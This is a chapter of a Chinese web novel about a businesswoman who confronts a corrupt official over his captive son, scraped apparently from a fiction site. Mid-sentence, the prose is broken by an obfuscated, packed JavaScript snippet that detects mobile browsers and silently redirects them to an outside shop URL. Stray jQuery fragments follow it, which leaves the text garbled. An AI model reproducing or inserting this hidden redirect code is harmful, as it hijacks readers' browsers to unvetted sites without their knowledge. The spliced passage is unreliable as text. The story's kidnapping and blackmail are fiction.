文趣网 > 其他小说 > 庇护者[gb] > 12. 012
    陆峋的面庞在廊道冷白的灯光下显得苍白而沉静,他一眼不眨地盯着凌岑:“是。”

    一个字。

    轻,稳,干脆,没有半分迟疑。

    “如果让我再选一回,我不会救你。”他停顿片刻,“我会让那场车祸,干干净净地结束在那一天。”

    话音落下,凌岑脑海中轰然巨响。

    她明明站在灯火通明的玻璃廊道里,脚下是悬空十余米的透明地面,远处宴会厅里还有音乐和人声隐约传来,可这一刻,她却像是重新跌回了许多年前那辆扭曲变形的车里。

    铁锈味,血腥味,玻璃碎片扎进掌心的疼。

    凌岑张了张嘴,似乎想说些什么。可喉咙里像堵着一团湿冷的棉花,一个字也挤不出来。

    陆峋没再看她。他冷漠地转身,头也不回地向前走去。

    这一次,凌岑僵在原地,没有再追。

    她安静地望着那道背影,直到它一点点没入廊道尽头,彻底从她的视野中剥离。

    她从未想过,有朝一日会从陆峋口中听到这样的话。如今真的听见了,她才发现,自己根本没有做好承受的准备。

    一切发生得太突然,也太具毁灭性。作为Alpha,迎难而上早已刻入她的骨血,但在这一刻,她竟生出了退却的本能。

    不知过了多久,身后传来一阵脚步声。

    凌岑循声回头,隔着玻璃门,看见裴敛正朝这边走来。

    “阿岑,”裴敛推门而入,边走边低声道:“活动已经开始了,许明德也已经入席。”

    一句话,瞬间将凌岑从方才那片混乱里拉了出来。心中翻涌的暗流骤然沉淀,除了一丝疲惫萦绕在眉眼间,再也窥探不出任何异样。

    她想起了今晚蛰伏于此的真正目的。无论刚才经历了怎样的溃败,正事绝不允许有丝毫差池。

    凌岑轻轻点了下头,迎着裴敛迈开步子。开口时,声音已恢复了一贯的干脆利落:“带我过去。”

    裴敛走在她身边,察觉到她脸色有些发白。迟疑再三,还是低声问了一句:“阿岑,你还好吗?”

    凌岑没有回答,只在行走间偏头看了他一眼。

    前方宴会厅的大门近在眼前,门内的灯火与喧声一并扑面而来。她轻轻摇头,随后若无其事地迈步走进了门里。

    活动已经正式开始,宴会厅里的灯光暗了下来,只将光束集中投向前台。主持人站在台上妙语连珠,将场面维持得热闹而体面。

    台下的座席从前到后依次排开。越靠近前排,位置便越显分量,能坐在那里的人,身份自然也更贵重。

    许明德身为副署长,被安排在第一排偏左的位置。

    凌岑没有贸然上前。她站在门边一处光线昏暗的角落里,从后方不动声色地观察着许明德周围的情况。

    只见坐在许明德身边的,还有一个年轻男人。对方西装笔挺,气质利落。两人不时偏过头低声交谈,神态熟稔,像是在说什么不便为旁人听见的话。

    凌岑侧过头,附耳问裴敛:“许明德身边的那个人是谁?”

    裴敛低声答道:“何承林,兴业集团的二公子,听说这座庄园就是他们何家的产业。主办方应该是考虑到了这层关系,才把他的座位安排在许明德身边。”

    凌岑闻言,若有所思地挑了下眉梢:“何家?就是那个总爱鼓吹自己有什么贵族血统的暴发户?”

    裴敛垂眸应声:“是。”

    凌岑扯了扯嘴角,略一沉吟,再次凑近裴敛,在他耳边嘀咕了几句。

    裴敛听完,确认性地看了她一眼,随即转身朝何承林所在的方向走去。

    没过多久,他站到了何承林身边,微微俯下身,在对方耳边低声说了几句。

    凌岑静静注视着何承林逆光的背影。下一瞬,只见对方肩膀一耸,倏地站起身,动作里透着压不住的急切。临抬脚前,他像是忽然想起什么,偏过头,低声对许明德简短交代了两句,这才快步离席。

    凌岑见状,没有丝毫迟疑。待何承林的身影稍一走远,她立刻迈步上前,侧身落座,稳稳坐进了那把尚还留着余温的椅子里。

    许明德敏锐地察觉到身侧换了人,顺势偏过头,正巧撞上凌岑那张带着笑意的脸。

    “许副署长,”凌岑唇边噙着笑容,语气轻快,“好久不见,没想到会在这里碰见你。”

    许明德看着她。

    他今年已过四十,面容保养得极好,只有笑起来时,眼角才会牵出几道细细的纹路。那纹路并不显老,反倒更衬出一种久在权力场中浸出来的精明与锋利。

    “凌总。”他表面上仍维持着镇定,声音却明显紧绷起来,“最近还好吗?”

    “当然好。”凌岑姿态坦然,“曜港这几年发展得这么快,这么好,多亏有你主持大局。我们下面这些做生意的,哪个没跟着沾点光?”

    “只不过——”她顿了顿,“许副署长近来实在太忙。我之前托人联系过你好几次,本想当面向你道个谢,可惜一直没能约上。没办法,也只能追到这里来见你了。”

    或许是久居上位养出的底气,又或许是身为官员、对商人根深蒂固的轻视,许明德唇边那点勉强维持的笑意瞬间散得干干净净,脸色也跟着沉了下来。

    他蓦然收回视线,转而望向台上的主持人:“凌总,最近联邦上层一直在抓廉洁,最忌讳的就是官商勾连。你是商,我是官,彼此离得远一些,对谁都好。”

    凌岑仿佛没有听出他话里的警告,笑意仍旧挂在唇边:“廉洁?”她语气轻飘飘的,“这两个字,我这些年听得耳朵都快起茧了。雷声倒是不小,可是雨点落下来,又有几滴是真的?”

    “更何况——”她故意拖慢语调,“这些年你收了我多少好处,怎么收的时候不听你讲什么廉洁?”

    这话像一把刀,彻底撕破了横在彼此之间的窗户纸。

    “凌总,”许明德压低声音,转头看向她,目光里透出明确的警告,“有些话,我不想挑明。识趣一点,对你没有坏处。”

    凌岑无声勾动唇角,无视了他话里的威胁。她不动声色地环视四周,见没人注意到这边,将手探进西装内侧口袋,掏出手机,手指在屏幕上轻点了几下,随后将手机朝许明德递了过去。

    许明德没有伸手去接,只漫不经心地垂眼扫了一下。可也就是这一眼,让他脸上的血色瞬间褪了个干净。

    只见屏幕里,一名年轻男子正抱着腿坐在床上。身后只有一整面白墙和一扇开着的窗,窗前却垂着厚厚的帘子,将外界遮得严严实实。画面干净得过了头,连半点多余线索都没有,根本无从判断他究竟被安置在什么地方。

    刹那间,许明德眼底的倨傲散得一干二净,取而代之的,是再也压不住的惊慌。

    “你——”他猛地抬起头,刚要开口,凌岑却已经先一步将手机收了回来。

    下一秒,凌岑从容起身,什么都没多说,径直走向出口。出门后向左一转,沿着走廊一路往前,末了推开了一间休息室的门。

    房间里空荡安静,没有别人。

    凌岑走进去,径直在靠窗那张沙发上坐了下来。这厢他的身体才刚坐稳,许明德那头便紧随其后地追了进来。

    房门合拢的瞬间,外头的喧闹与明亮灯光一并被隔绝在外。

    许明德反手锁上房门,借着墙壁上那盏壁灯昏黄的光,转身看向凌岑。

    和刚才在宴会厅里那副高高在上、游刃有余的模样相比,此刻的他显然已经彻底乱了分寸,后背微微佝着,神情慌乱:“凌总,刚才的视频……”

    凌岑垂眸敛目地开口道:“你没认错,是你儿子,现在人在我手里。”

    许明德越发惶然:“凌总,刚才都是我的不是,求您高抬贵手一回,放过我儿子。”

    凌岑没有立刻表态。

    她慢条斯理地翘起二郎腿,从口袋里摸出一盒烟,轻轻晃了两下烟盒,随后低头叼出一支,抬眼对上许明德的视线。

    许明德被她这一眼看得怔了一下,随即猛地意识到什么,连忙从身上摸出打火机,带着几分近乎讨好的急切,俯身上前替她点火。

    火苗“嗤”地一跳,橘红色的光映亮了他近在咫尺的脸,也将那眉心处的几道沟壑映照得愈发分明。

    凌岑衔着烟,任由那点火光在眼底轻轻一晃,身体顺势向后靠进沙发里。

    四周安静得令人心慌。

    许明德低着头,眉心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812979|210946||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拧成一团,视线落在地面上,像是在拼命压住什么。

    可是压不住。

    越安静,他越压不住。

    不等凌岑开口,心里的话便先一步如流水般从唇边倾泻出来:“我不是故意躲着你,我是被逼无奈。半个月前,赤沙那边找到我,说我儿子在他们经营的赌场里欠下了巨额赌债。”他喉结滚了滚,声音越发艰涩,“三千万……我拿不出来,他们就扣住我儿子不放,逼我拿南城的那片土地表态。”

    凌岑的表情没有半分波动,只淡淡吐出一口白烟:“就只是赌债?”

    她顺手将烟灰弹落在一旁的茶几上:“我听说,你那个Alpha儿子在易感期里发了狂,还侵犯并重伤了一名Omega。更巧的是,赤沙那边把整个过程拍得清清楚楚,一帧都没落下。”

    许明德脸色一白。

    凌岑不紧不慢地继续往下说:“联邦高官,教子无方。儿子犯下重罪,父亲却想方设法替他遮掩包庇。这种丑闻一旦曝光,不光你儿子牢狱坐定,你也必然晚节不保。”

    她的声音随着烟雾缓缓弥散在空气中:“赤沙这个局,布置得确实精妙,他们很清楚该从哪里下手。你儿子从来都不是重点,他只是一根引线。真正的目的,是把你拖你入局。现在你自己牵扯其中,如果不顺着他们的意思走,他们随时都能把你推到风口浪尖上,让你身败名裂。”

    许明德一边听着,一边额角渗出冷汗。

    那些他拼了命想要掩埋、想要当作从未存在过的东西,此刻却被凌岑一件一件、清清楚楚地摆到了台面上。

    这一刻,他只觉得胸膛忽然被剜空了一块。恐惧与茫然如冷风般倒灌进来。比起赤沙,他忽然更怕眼前这个女人。

    凌岑抬起手,冲许明德轻轻勾了勾手指。

    许明德看着她,脸色发苦,迟疑了两秒,还是硬着头皮凑上前去。然而就在他倾身过去的刹那,凌岑突然伸手攥住他垂在胸前的领带,狠狠往下一扯。

    许明德猝不及防,喉间闷哼一声,整个人被那股力道拽得向前一扑,双膝重重磕在地板上。

    他吃痛抬头,正对上凌岑那双凶恶的双眼。

    凌岑盯着他,声音裹挟的怒火从齿缝间逼出:“许明德,是不是我之前对你太客气了,才让你觉得,出了我的门,外头的人也会像我一样,给你三分颜面,陪你讲道理?”她手腕猛地发力,领带像狗绳一样骤然绷紧。

    许明德猝不及防地被带得往前一扑,原本强撑出来的那点体面,顿时碎得一干二净,只剩满身狼狈。

    他双手撑在身前的地面上,在领带的勒迫下艰难喘息:“凌总,我没有那个意思……是赤沙,我完全是被他们算计了……”

    凌岑猛地拔高声音:“如果不是你先对我避而不见,赤沙哪来的机会趁虚而入!”

    许明德嘴唇颤了颤,彻底没了话。

    凌岑猛地松手,顺势又狠狠推了他一把。看着许明德狼狈地跌坐在地上,她微微抬起下巴:“哪怕是喂条狗,喂了这么多年,也总该喂出几分感情。可你呢?”

    她的目光锐利如刀:“这些年你步步高升,眼看着官做大了,腰杆儿也挺直了,开始嫌我碍眼,嫌灰域脏,恨不得立刻把这个‘污点’从履历里一把抹除。”

    许明德脸色发白,浑身发抖,只会一个劲地摇头。

    凌岑根本不理会,继续自顾自地开口道:“你也不想想,这些年要不是灰域替你托底、替你铺路、替你擦屁股,就凭你这种在冷板凳上熬了十年都熬不出头的废物,也配坐到今天这个位置?”

    她说到这里,抬手将烟头按灭在大理石台面上。细小的火星挣扎了一瞬,随即彻底熄下去。

    下一秒,她站起身,俯身逼近,盯着许明德那张毫无血色的脸,声音压得极低,却比任何咆哮都更叫人骨头发寒:“我告诉你,不管你在外头是什么身份,披着多体面的皮,到了我面前,也得给我把尾巴夹紧了做人。”

    许明德跪在她脚边,浑身发抖,嗓音发哑:“我错了,凌总……求您饶我这一回。”

    凌岑没有应声,甚至没有再多看他一眼。她转身走到窗前,隔着那层薄纱般的窗帘,静静望向外头铺展开来的沉沉夜色。